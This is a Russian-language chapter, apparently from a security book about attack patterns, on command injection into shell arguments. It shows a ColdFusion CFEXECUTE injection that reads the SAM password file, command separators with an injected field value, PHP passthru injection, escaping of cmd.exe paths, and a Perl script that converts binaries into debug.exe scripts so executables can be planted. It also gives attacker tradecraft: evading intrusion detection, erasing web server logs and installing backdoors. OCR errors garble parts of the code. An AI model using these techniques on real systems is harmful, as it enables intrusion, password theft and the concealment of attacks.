На главную | Содержание | Назад | Вперёд
Наши друзья

 

 

Добавление данных в аргументы для команд командного интерпретатора

Шаблон атаки: внесение данных в аргументы!
Данные пользователя могут непосредственно передаваться в аргумент команды для ко­мандного интерпретатора. Существует большое количество программ третьих производите­лей, которые позволяют передавать данные в командный интерпретатор с недостаточной фильтрацией или вообще без нее.
Внесение данных с помощью тега CFEXECUTE для программы Cold Fusion
Тег CFEXECUTE используется в сценариях Cold Fusion для запуска команд в опе­рационной системе. Если команде передаются предоставленные пользователями ар­гументы, то вполне возможно проведение атаки. Иногда тег CFEXECUTE запускает команды с неограниченными правами учетной записи администратора, т.е. хакер по­лучает доступ ко всем ресурсам системы. Рассмотрим следующий 'вредоносный код.<CFSET #STRING#='/c:'"&#form.text#& "'C:\inetpub \wwwroot \*' XCFBEXEKCUTE NAME='c:\winnt \system32 \findstr.exe1
ARGUMENTS=#STRING#
OUTPUTFILE="C:\inetpub \wwwroot \output.txt"
TIMEOUT="12 0">
</CFEXECUTE>
<CFFILE ACTION="Read"
FILE="C:\inetpub \wwwroot \output.txt"
VARIABLE="Result"> <cfset Result =#REReplace(Result,chr(13),"
","ALL")#> #Result#
В этом случае разработчик хотел разрешить пользователю контролировать толь­ко строку поиска. Он жестко закодировал искомый каталог для этого поиска. Про­блема в том, что разработчик некорректно реализовал фильтрацию символа двойной

кавычки3. Используя эту ошибку, хакер способен прочесть любой файл. На 4 изображено окно для ввода данных, реализованное с помощью приведенного выше кода. Также показаны вредоносные данные, введенные злоумь1пшенником.
Когда хакер вводит строку данных, показанных на 4, возвращается сооб­щение об ошибке, которое показано на 5.
Параллельно с выполнением других задач в нашем коде заложено использование файла output. txt. Доступ к этому файлу позволяет получить двоичное содержи­мое файла sam. В файле sam хранятся пароли и он является подходящей целью для классической атаки взлома паролей. Содержимое файла sam показано на 6.
Использование во входных данных разделителей команд
Шаблон атаки: разделители команд
Используя символ точки с запятой или другие специальные символы, можно объединить в одном запросе несколько команд. Уязвимые атакуемые программы выполнят все заданные команды.
При атаке на CGI-программу входные данные могут выглядеть следующим образом.
<input type=hidden name=filebase value="bleh; [команда]">
Обратите внимание, что в этом примере передаются три команды. Злоумышлен­ник стирает все файлы из файловой системы (с помощью команды rm), доступ к ко­торым предоставляется согласно привилегиям выполняемого процесса. Для разде­ления команд используется символ точки с запятой. Символы разделения команд очень важны при проведении атак с помощью внесения вредоносных команд. Ши­роко используемыми символами разделения команд являются следующие символы.
%0а
1
> /dev/null 2>А1 I I
> /dev/null 2>&1 |
Атаки с внесением вредоносных команд довольно популярны, поэтому в систе­мах обнаружения вторжений обычно есть сигнатуры для выявления подобных действий хакеров. Стандартная система обнаружения вторжений выявляет такую атаку хакера, особенно если в атаке используются популярные имена атакуемых файлов, например /etc/passwd. Для злоумышленника разумнее будет использо­вать более хитрые команды на атакуемой операционной системе. Избегайте ис­пользования стандартных команд атаки наподобие cat или Is. Альтернативой может служить применение шифрования (см. главу 6, "Подготовка вредоносных данных"). Кроме того, не забывайте, что Web-сервер создает файлы журналов, в которые заносятся все сведения о входных данных. Поэтому при использовании подобных атак следует очищать файлы журналов как можно скорее. При этом сле­дует помнить, что уязвимое место, через которые можно вводить данные, может подойти и для очистки файлов журналов (если только существуют необходимые разрешения на доступ к файлам).
Символ возврата каретки часто является допустимым символом разделителя ко­манд для командного интерпретатора. Это весьма важный момент, поскольку многие устройства фильтрации не отслеживают передачу этого символа. Иногда фильтры и регулярные выражения для фильтрации, созданные с должным вниманием, позво­ляют предотвратить атаки с использованием передачи команд командному интер­претатору, но ошибки происходят регулярно. Если фильтр не блокирует символа возврата каретки, то весьма вероятен успех атаки с внесением вредоносных данных4.
;       !   Внесение PHP-команд с использованием разделителя команд
Рассмотрим следующий вредоносный код для кода, приведенного в примере 2.
passthru   ("find .   -print  I xargs cat  I grep $test") ;
На 7 показано, что происходит, когда этот код используется при стандарт­ной атаке с помощью введения данных.
Шаблон атаки: последовательный анализ и двойное преобразование символов
Иногда передаваемые команды проходят несколько уровней анализа. Поэтому хакер дол­жен предусмотреть возможность двойного преобразования символов (double escape). При ошибках в таком преобразовании на конечном этапе хакер может получить нужный символ, подходящий для проведения атаки.
Использование преобразования символов
Хорошим примером проблемы последовательного анализа является символ об­ратной косой черты (\). Этот символ используется для отделения символов в стро­ках, но также используется для разделения каталогов в файловой системе Win­dows NT. При внесении вредоносного кода, включающего в себя имена файлов для системы Windows NT, следует учесть двойное преобразование символа обратной косой черты. В некоторых случаях требуется учитывать четверное преобразова­ние символов.

C:\\\\winnt\\\\system32\\\\cmd.exe/c
C:\\winnt\\system32\\cmd.exe /с
C:\winnt\system32\cmd.exe /с
На этой диаграмме хорошо виден каждый уровень анализа преобразования (серые блоки) символа обратной косой черты. При анализе два символа обратной косой черты преобразуются в один. Используя четыре символа обратной косой черты, ха­кер добивается нужного результата в окончательной строке.
Создание текстовых файлов путем внесения данных
Используя команду echo, можно создавать текстовый файл на удаленной системе.
cmd /с echo line_of_text >> somefile.txt
Тестовые файлы очень удобно использовать при применении автоматизирован­ных утилит. Показанные в этом примере символы » используются для добавления данных к существующему файлу. Пользуясь этим методом, хакер может "строить" текстовый файл построчно.
Создание двоичных файлов с помощью debug. ехе
Один из улучшенных методов атак, открытие которого приписыгвают Яну Витеку (Ian Vitek) из iXsecurity, заключается в создании исполняемых файлов на Windows -системах. Представленная здесь утилита способна создавать только файлы с расши­рением . com, но это исполняемый код. Умелое использование этой утилиты позво­ляет удаленно установить потайной ход.
На вход утилиты отладчика подается файл сценария (с расширением .scr). Сценарий может содержать различные вызовы для побайтового создания файла на диске. Используя эту хитрость для создания текстовых файлов, хакер может пере­дать целый отладочный сценарий на удаленный хост. После создания сценария он может запустить утилиту debug. ехе.
debug.exe < somescript.scr
Эта хитрость может быть использована для создания любого файла размером до 64 Кбайт. Это достаточно много, и созданный файл можно использовать для различ­ных целей, включая создание исполняемого кода. Среди других вариантов исполь­

зования этого метода можно назвать создание ROM-образов на удаленной системе для последующего доступа к аппаратным средствам.
Полезный сценарий Яна Витека позволяет сконвертировать любой двоичный файл в сценарий отладчика.
#/usr/bin/perl # Bin to SCR $version=l.0;
require 'getopts.pl'; $r - "\n";
Getopts('f:h');
die "\пКонвертируем двоичный файл в SCR-сценарий.\ Version $version by Ian Vitek ian.vitek\@ixsecurity.com\ \usage:  $0 -f binfile\
\t-f binfile Двоичный файл для конвертированиях \t Обратное конвертирование с помощью DOS-команды \ \t debug.exe <binfile\
\t-h This help\n\n" if  ( $opt_h  ||   !  $opt_f );
open(UFILE,"$opt_f")  or die "CanVt open bin file \"$opt_f\"\n$!\n";
$opt_f=~/"(r\.]+)/; $tmpfile=$l  . ".scr"; $scr="n $opt_f$r";
$ S С Г   = " f3. $   " *
$n=0;
binmode(UFILE);
while( $tn=read(UFILE,$indata,16)   ) { $indata=~s/(.)/sprintf("%02x,",ord $1)/seg; chop($indata); Sscr.="db $indata$r"; $n+=$tn; }
close(UFILE) ;
$scr.="\x03$r";
$scr.="rcx$r";
$hn=sprintf("%02x",$n);
5scr.="$hn$r";
$scr.="w$r";
$scr.="q$r";
open(SCRFILE,">Stmpfile"); print SCRFILE "$scr"; close(SCRFILE);
Полная компрометация системы обычно включает в себя установку потайного хода наподобие sub7 или Back Orifice. Первым шагом является запуск команды для проверки полученных привилегий. Запускать полномасштабную атаку без точных сведений о возможности создания файлов довольно неразумно.
Также должен учитываться статус файлов журналов. Можно ли записывать дан­ные в эти файлы? Можно ли стереть информацию из них? Хакеры, которые не вы­полняют этих проверок, обрекают себя на провал. Чтобы проверить возможность за­писи, вполне реально использовать, например, следующую команду.
touch temp.dat
Затем запросим список файлов каталога.
Is
Файл должен быть здесь. Теперь попробуем его удалить.
rm temp.dat

Удалось?
Теперь проверим файлы журналов. Если мы имеем дело с сервером под управ­лением Windows NT, то файлы журналов обычно хранятся в каталоге WINNT\ system32\LogFiles. Попробуем добавить данные к одному из этих файлов (име­на файлов могут отличаться).
echo ААА >> ex2 02 0.log type ex2020.log
Проверим наличие новых данных. А теперь попробуем удалить файл. Если файл можно удалить, значит, удача на стороне хакера. Хакер может смело атаковать сис­тему, а затем уничтожить следы своих действий. Только если все эти тесты проходят успешно и файлы могут быть размещены на системе, можно переходить ко второму этапу атаки — созданию сценария для установки потайного хода.

 

На главную | Содержание | Назад | Вперёд
 
Яндекс.Метрика